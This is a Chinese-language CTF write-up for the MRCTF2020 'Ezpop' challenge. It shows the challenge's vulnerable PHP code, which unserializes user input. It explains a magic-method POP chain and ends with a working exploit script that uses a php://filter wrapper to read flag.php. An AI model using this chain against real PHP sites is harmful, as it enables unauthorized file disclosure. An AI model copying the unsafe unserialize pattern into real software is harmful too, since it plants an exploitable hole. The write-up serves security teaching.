1. 程式人生 > 實用技巧 >[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

版權
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

直接給出了一段原始碼


明顯的反序列化題目,找找高危函式
看到 Modifier這個類

include()這個函式常用於檔案包含,而想要呼叫這個函式,我們需要呼叫__invoke()這個魔術方法,而這個魔術方法有個特性

再看到Test這個類

當訪問和設定未定義和已經訂定義但關鍵字為’private,protected’屬性時會自動呼叫__get(),__set()方法。
同時__get()這個魔術方法返回了一個函式

看到Show類
有個__construct()魔術方法
建立新物件的時候會自動呼叫這個方法

 public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
  • 1
  • 2
  • 3
  • 4

還有__toString() 這個魔術方法
當echo 一個物件時會自動觸發__toString()魔術方法

  public function __toString(){
        return $this->str->source;
    }
  • 1
  • 2
  • 3

而他返回了$this->str->source;

所以要echo include()裡的內容
得讓source等於一個物件

思路如下:

  1. 呼叫include()函式,讓Test類中的屬性p等於Modifier這個類,從而觸發__get()魔術方法
    將Modifier這個類變成一個函式,從而呼叫__invoke()方法,進而呼叫include()函式

  2. 讓source 等於物件,進而觸發__toString方法,輸出內容

exp如下

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;
	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>